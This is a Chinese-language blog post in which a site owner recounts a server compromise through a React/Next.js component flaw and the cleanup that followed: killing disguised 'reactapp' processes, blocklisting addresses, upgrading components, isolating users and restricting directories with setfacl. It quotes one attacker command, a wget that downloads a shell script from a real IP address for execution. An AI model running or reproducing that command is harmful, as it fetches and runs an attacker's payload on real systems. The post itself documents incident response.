记录一下网站被攻击的情况,及我如何处理的。
1. 网站的react和next.js组件有漏洞

2. 漏洞利用,导致网站被攻击,如何处理?
攻击者远程执行命令,可以使用跟网站应用同一个用户,执行命令,他会开启多个进程,这个进程会定时从远程服务器download 脚本,并执行,从而实现远程代码执行。
3. 如何检查异常?
1 | # 查看是否存在异常命令 |
这里发现,有个异常进程:
1 | lezhifu 3837117 13.2 0.0 3232 220 ? S 21:32 0:00 -sh reactapp |
5. 如何处理?
杀掉它:
1 | [root@iZuf6i5ap70cn1cede2ilzZ ~]# |
伪装的reactapp任务,全部kill掉
6. 再看下它执行的另外的命令
1 |
|
攻击者直接远程执行了命令:
1 | wget -qO ./s.sh http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh |
远程下载shell文件,并执行shell文件,写入服务器。
这里贴一下shell文件内容,大家看下它的shell怎么写的,它把他的执行命令隐藏在base64编码中,如果服务器环境没有node,它还会帮你下载node,并解压到指定目录:当前用户的home目录:
1 | #!/bin/bash |
7. 问题处理
7.1 添加黑名单
将对应的下载地址添加到黑名单中,禁止从这些网站访问内容,也禁止这些ip访问我们的网站
7.2 修复漏洞
升级组件
7.3 用户隔离
各个应用之间的用户,应该隔离,不要使用同一个用户,启动多个应用,比如使用一个用户启动前端react网站、后台flask、后台java应用,后台数据库等
7.4 配置文件权限
防止用户访问特定目录,比如跟此应用无关的其他用户目录,其他应用目录,数据库目录,代理目录等
setfacl -m u:lezhi123:— /root
setfacl -m u:lezhi123:— /mnt/lezhifu
setfacl -m u:lezhi123:— /mnt/lezhifu_dual
setfacl -m u:lezhi123:— /mnt/lezhifu
setfacl -m u:lezhi123:— /mnt/lezhisoft
setfacl -m u:lezhi123:— /mnt/mysql
setfacl -m u:lezhi123:— /mnt/nginx-1.24.0
setfacl -m u:lezhi123:— /mnt/python3.11
setfacl -m u:lezhi123:— /mnt/superset
好了,就记录到这里,希望大家网站不要被攻击。
记录问题也是一种修行。

欢迎关注微信公众号,你的资源可变现:【乐知付加密平台】

欢迎关注微信公众号,这里记录博主的创业之旅:【程序员写书】

一起学习,一起进步。
